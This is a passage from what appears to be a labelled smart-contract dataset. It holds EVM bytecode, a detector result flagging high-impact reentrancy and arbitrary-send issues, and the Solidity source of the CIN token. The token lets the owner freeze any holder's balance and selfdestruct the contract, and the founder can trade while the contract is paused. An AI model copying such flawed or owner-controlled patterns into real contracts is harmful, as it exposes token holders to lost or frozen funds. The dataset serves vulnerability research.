ff16565b61239b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061260a81613426565b92915050565b60008151905061261f81613426565b92915050565b6000813590506126348161343d565b92915050565b60008151905061264981613454565b92915050565b60008135905061265e8161346b565b92915050565b6000815190506126738161346b565b92915050565b60006020828403121561268f5761268e61311a565b5b600061269d848285016125fb565b91505092915050565b6000602082840312156126bc576126bb61311a565b5b60006126ca84828501612610565b91505092915050565b6000602082840312156126e9576126e861311a565b5b60006126f784828501612625565b91505092915050565b600080604083850312156127175761271661311a565b5b6000612725858286016125fb565b9250506020612736858286016125fb565b9150509250929050565b6000806000606084860312156127595761275861311a565b5b6000612767868287016125fb565b9350506020612778868287016125fb565b92505060406127898682870161264f565b9150509250925092565b600080604083850312156127aa576127a961311a565b5b60006127b8858286016125fb565b92505060206127c98582860161264f565b9150509250929050565b6000602082840312156127e9576127e861311a565b5b60006127f78482850161263a565b91505092915050565b6000602082840312156128165761281561311a565b5b60006128248482850161264f565b91505092915050565b6000806000606084860312156128465761284561311a565b5b600061285486828701612664565b935050602061286586828701612664565b925050604061287686828701612664565b9150509250925092565b600061288c8383612898565b60208301905092915050565b6128a181612fb2565b82525050565b6128b081612fb2565b82525050565b60006128c182612e58565b6128cb8185612e7b565b93506128d683612e48565b8060005b838110156129075781516128ee8882612880565b97506128f983612e6e565b9250506001810190506128da565b5085935050505092915050565b61291d81612fd6565b82525050565b61292c81613019565b82525050565b600061293d82612e63565b6129478185612e8c565b935061295781856020860161302b565b6129608161311f565b840191505092915050565b6000612978602383612e8c565b915061298382613130565b604082019050919050565b600061299b601683612e8c565b91506129a68261317f565b602082019050919050565b60006129be602a83612e8c565b91506129c9826131a8565b604082019050919050565b60006129e1602283612e8c565b91506129ec826131f7565b604082019050919050565b6000612a04601b83612e8c565b9150612a0f82613246565b602082019050919050565b6000612a27601c83612e8c565b9150612a328261326f565b602082019050919050565b6000612a4a602183612e8c565b9150612a5582613298565b604082019050919050565b6000612a6d602083612e8c565b9150612a78826132e7565b602082019050919050565b6000612a90602983612e8c565b9150612a9b82613310565b604082019050919050565b6000612ab3602583612e8c565b9150612abe8261335f565b604082019050919050565b6000612ad6602483612e8c565b9150612ae1826133ae565b604082019050919050565b6000612af9601783612e8c565b9150612b04826133fd565b602082019050919050565b612b1881613002565b82525050565b612b278161300c565b82525050565b6000602082019050612b4260008301846128a7565b92915050565b6000604082019050612b5d60008301856128a7565b612b6a60208301846128a7565b9392505050565b6000604082019050612b8660008301856128a7565b612b936020830184612b0f565b9392505050565b600060c082019050612baf60008301896128a7565b612bbc6020830188612b0f565b612bc96040830187612923565b612bd66060830186612923565b612be360808301856128a7565b612bf060a0830184612b0f565b979650505050505050565b6000602082019050612c106000830184612914565b92915050565b60006020820190508181036000830152612c308184612932565b905092915050565b60006020820190508181036000830152612c518161296b565b9050919050565b60006020820190508181036000830152612c718161298e565b9050919050565b60006020820190508181036000830152612c91816129b1565b9050919050565b60006020820190508181036000830152612cb1816129d4565b9050919050565b60006020820190508181036000830152612cd1816129f7565b9050919050565b60006020820190508181036000830152612cf181612a1a565b9050919050565b60006020820190508181036000830152612d1181612a3d565b9050919050565b60006020820190508181036000830152612d3181612a60565b9050919050565b60006020820190508181036000830152612d5181612a83565b9050919050565b60006020820190508181036000830152612d7181612aa6565b9050919050565b60006020820190508181036000830152612d9181612ac9565b9050919050565b60006020820190508181036000830152612db181612aec565b9050919050565b6000602082019050612dcd6000830184612b0f565b92915050565b600060a082019050612de86000830188612b0f565b612df56020830187612923565b8181036040830152612e0781866128b6565b9050612e1660608301856128a7565b612e236080830184612b0f565b9695505050505050565b6000602082019050612e426000830184612b1e565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ea882613002565b9150612eb383613002565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ee857612ee761305e565b5b828201905092915050565b6000612efe82613002565b9150612f0983613002565b925082612f1957612f1861308d565b5b828204905092915050565b6000612f2f82613002565b9150612f3a83613002565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f7357612f7261305e565b5b828202905092915050565b6000612f8982613002565b9150612f9483613002565b925082821015612fa757612fa661305e565b5b828203905092915050565b6000612fbd82612fe2565b9050919050565b6000612fcf82612fe2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061302482613002565b9050919050565b60005b8381101561304957808201518184015260208101905061302e565b83811115613058576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6c696d697420697320616c72656164792066616c736500000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206d757374206265206c65737300000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61342f81612fb2565b811461343a57600080fd5b50565b61344681612fc4565b811461345157600080fd5b50565b61345d81612fd6565b811461346857600080fd5b50565b61347481613002565b811461347f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203325a6010d885aba49b58dd3b088812b0a1cc3f3ad6346f83234c124b4435d6f64736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,468
0x319d2fa0dbe361eb025d4c6e8fc2ab27d8f3fb80
/** *Submitted for verification at Etherscan.io on 2021-04-08 */ pragma solidity 0.5.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title BSC20Basic */ contract BSC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title BSC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract BSC20 is BSC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is BSC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balanceOf(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard BSC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BSC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balanceOf(_from) >= _value); require(balances[_to].add(_value) > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is StandardToken { event Pause(); event Unpause(); bool public paused = false; address public founder; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused || msg.sender == founder); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract PausableToken is Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } //The functions below surve no real purpose. Even if one were to approve another to spend //tokens on their behalf, those tokens will still only be transferable when the token contract //is not paused. function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract CIN is PausableToken { string public name; string public symbol; uint8 public decimals; /** * @dev Constructor that gives the founder all of the existing tokens. */ constructor() public { name = "COINSBIT INDIA TOKEN"; symbol = "CIN"; decimals = 18; totalSupply = 100000000000*1000000000000000000; founder = msg.sender; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } /** @dev Fires on every freeze of tokens * @param _owner address The owner address of frozen tokens. * @param amount uint256 The amount of tokens frozen */ event TokenFreezeEvent(address indexed _owner, uint256 amount); /** @dev Fires on every unfreeze of tokens * @param _owner address The owner address of unfrozen tokens. * @param amount uint256 The amount of tokens unfrozen */ event TokenUnfreezeEvent(address indexed _owner, uint256 amount); event TokensBurned(address indexed _owner, uint256 _tokens); mapping(address => uint256) internal frozenTokenBalances; function freezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= balanceOf(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.add(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenFreezeEvent(_owner,_value); } function unfreezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= getFrozenBalance(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.sub(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenUnfreezeEvent(_owner,_value); } function setFrozenBalance(address _owner, uint256 _newValue) internal { frozenTokenBalances[_owner]=_newValue; } function balanceOf(address _owner) view public returns(uint256) { return getTotalBalance(_owner).sub(getFrozenBalance(_owner)); } function getTotalBalance(address _owner) view public returns(uint256) { return balances[_owner]; } /** * @dev Gets the amount of tokens which belong to the specified address BUT are frozen now. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount of frozen tokens owned by the passed address. */ function getFrozenBalance(address _owner) view public returns(uint256) { return frozenTokenBalances[_owner]; } /* * @dev Token burn function * @param _tokens uint256 amount of tokens to burn */ function burnTokens(uint256 _tokens) public onlyOwner { require(balanceOf(msg.sender) >= _tokens); balances[msg.sender] = balances[msg.sender].sub(_tokens); totalSupply = totalSupply.sub(_tokens); emit TokensBurned(msg.sender, _tokens); } function destroy(address payable _benefitiary) external onlyOwner{ selfdestruct(_benefitiary); } }
0x608060405234801561001057600080fd5b506004361061014c5760003560e01c806370a08231116100c3578063a9059cbb1161007c578063a9059cbb14610625578063d3d381931461068b578063d73dd623146106e3578063dd62ed3e14610749578063e9b2f0ad146107c1578063f2fde38b1461080f5761014c565b806370a08231146104505780638456cb59146104a85780638da5cb5b146104b257806395d89b41146104fc5780639f2cfaf11461057f578063a4df6c6a146105d75761014c565b8063313ce56711610115578063313ce567146103225780633f4ba83a146103465780634d853ee5146103505780635c975abb1461039a57806366188463146103bc5780636d1b229d146104225761014c565b8062f55d9d1461015157806306fdde0314610195578063095ea7b31461021857806318160ddd1461027e57806323b872dd1461029c575b600080fd5b6101936004803603602081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610853565b005b61019d6108c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101dd5780820151818401526020810190506101c2565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102646004803603604081101561022e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610964565b604051808215151515815260200191505060405180910390f35b6102866109ea565b6040518082815260200191505060405180910390f35b610308600480360360608110156102b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f0565b604051808215151515815260200191505060405180910390f35b61032a610a78565b604051808260ff1660ff16815260200191505060405180910390f35b61034e610a8b565b005b610358610b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a2610b6d565b604051808215151515815260200191505060405180910390f35b610408600480360360408110156103d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b80565b604051808215151515815260200191505060405180910390f35b61044e6004803603602081101561043857600080fd5b8101908080359060200190929190505050610c06565b005b6104926004803603602081101561046657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d76565b6040518082815260200191505060405180910390f35b6104b0610da2565b005b6104ba610eb7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610504610edd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610544578082015181840152602081019050610529565b50505050905090810190601f1680156105715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105c16004803603602081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7b565b6040518082815260200191505060405180910390f35b610623600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc4565b005b6106716004803603604081101561063b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b5565b604051808215151515815260200191505060405180910390f35b6106cd600480360360208110156106a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b61072f600480360360408110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611184565b604051808215151515815260200191505060405180910390f35b6107ab6004803603604081101561075f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b6040518082815260200191505060405180910390f35b61080d600480360360408110156107d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611291565b005b6108516004803603602081101561082557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611382565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095c5780601f106109315761010080835404028352916020019161095c565b820191906000526020600020905b81548152906001019060200180831161093f57829003601f168201915b505050505081565b6000600460009054906101000a900460ff1615806109cf5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109d857600080fd5b6109e283836114d6565b905092915050565b60005481565b6000600460009054906101000a900460ff161580610a5b5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a6457600080fd5b610a6f84848461165b565b90509392505050565b600760009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ae557600080fd5b600460009054906101000a900460ff16610afe57600080fd5b6000600460006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900460ff1681565b6000600460009054906101000a900460ff161580610beb5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610bf457600080fd5b610bfe8383611a79565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6057600080fd5b80610c6a33610d76565b1015610c7557600080fd5b610cc781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1f81600054611d0a90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6826040518082815260200191505060405180910390a250565b6000610d9b610d8483610f7b565b610d8d8461113b565b611d0a90919063ffffffff16565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dfc57600080fd5b600460009054906101000a900460ff161580610e655750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e6e57600080fd5b6001600460006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f735780601f10610f4857610100808354040283529160200191610f73565b820191906000526020600020905b815481529060010190602001808311610f5657829003601f168201915b505050505081565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e57600080fd5b61102782610d76565b81111561103357600080fd5b600061103e83610f7b565b905060006110558383611d2190919063ffffffff16565b90506110618482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f2303912415a23c08c0cbb3a0b2b2813870ad5a2fd7b18c6d9da7d0086d9c188e846040518082815260200191505060405180910390a250505050565b6000600460009054906101000a900460ff1615806111205750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61112957600080fd5b6111338383611d85565b905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900460ff1615806111ef5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6111f857600080fd5b6112028383611f6e565b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112eb57600080fd5b6112f482610f7b565b81111561130057600080fd5b600061130b83610f7b565b905060006113228383611d0a90919063ffffffff16565b905061132e8482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f25f6369ffb8611a066eafc897e56f4f4d2b8fc713cca586bd93e9b1af04a6cc0846040518082815260200191505060405180910390a250505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113dc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561141657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082148061156257506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b61156b57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561169657600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561171f57600080fd5b8161172985610d76565b101561173457600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c683600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b116117d057600080fd5b61182282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611b8a576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1e565b611b9d8382611d0a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600082821115611d1657fe5b818303905092915050565b600080828401905083811015611d3357fe5b8091505092915050565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dc057600080fd5b611dc933610d76565b821115611dd557600080fd5b611e2782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ebc82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffffffffffffffffffff